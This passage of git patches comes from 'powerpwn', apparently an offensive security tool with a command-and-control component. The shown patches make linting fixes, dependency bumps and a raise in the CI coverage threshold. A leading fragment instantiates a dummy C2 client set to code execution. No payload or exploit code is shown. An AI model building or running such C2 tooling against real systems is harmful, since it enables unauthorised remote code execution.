command: str = "") -> None: c2 = DummyPowerPwnC2(post_url=POST_URL, debug=DEBUG, command_to_run=CommandToRunEnum.CODE_EXEC) From 1db5dc6fdbcfdb8d70aa3f6394000b932b83f1a4 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:22:03 +0300 Subject: [PATCH 26/29] fix linters --- src/powerpwn/models/cmd_results.py | 2 +- src/requirements.txt | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/powerpwn/models/cmd_results.py b/src/powerpwn/models/cmd_results.py index 3b94c32..6e505b3 100644 --- a/src/powerpwn/models/cmd_results.py +++ b/src/powerpwn/models/cmd_results.py @@ -1,5 +1,5 @@ from enum import Enum, auto -from typing import Dict, Optional +from typing import Optional from pydantic import BaseModel, Field diff --git a/src/requirements.txt b/src/requirements.txt index a90cbb3..3b43608 100644 --- a/src/requirements.txt +++ b/src/requirements.txt @@ -7,4 +7,5 @@ isort~=5.10.1 mypy~=0.931 pytest~=6.2.5 pytest-cov~=3.0.0 -pytest-xdist~=2.5.0 \ No newline at end of file +pytest-xdist~=2.5.0 +types-requests==2.25.9 \ No newline at end of file From 482b13d47aefc72173d9fb0d6752afbc3ba8d5ff Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:22:42 +0300 Subject: [PATCH 27/29] fix linters --- src/requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/requirements.txt b/src/requirements.txt index 3b43608..82de158 100644 --- a/src/requirements.txt +++ b/src/requirements.txt @@ -1,7 +1,7 @@ requests~=2.25.1 pydantic~=1.9.0 bandit~=1.7.2 -black~=21.12b0 +black~=22.3.0 flake8~=4.0.1 isort~=5.10.1 mypy~=0.931 From c57ecf5d5517d1d935bc86e62efe41de7b54a3ec Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:24:48 +0300 Subject: [PATCH 28/29] fix flake8 --- src/powerpwn/c2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/powerpwn/c2.py b/src/powerpwn/c2.py index e26ff60..afa24a1 100644 --- a/src/powerpwn/c2.py +++ b/src/powerpwn/c2.py @@ -1,5 +1,5 @@ import json -from typing import Dict, List +from typing import List import requests from pydantic.error_wrappers import ValidationError From 65aeea7253dc67985bff0c1f66e7f1e2946d1f91 Mon Sep 17 00:00:00 2001 From: mbrg <11074433+mbrg@users.noreply.github.com> Date: Sat, 10 Sep 2022 22:25:44 +0300 Subject: [PATCH 29/29] increase coverage reqs --- .github/workflows/pr_validation.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pr_validation.yml b/.github/workflows/pr_validation.yml index bc92a59..ca01bf2 100644 --- a/.github/workflows/pr_validation.yml +++ b/.github/workflows/pr_validation.yml @@ -25,7 +25,7 @@ jobs: - name: Test and check coverage pytest run: | export PYTHONPATH=$PYTHONPATH:./src: - pytest tests/ -n auto --cov --cov-fail-under=60 --ignore=./tests + pytest tests/ -n auto --cov --cov-fail-under=90 --ignore=./tests do-flake8: name: Do flake8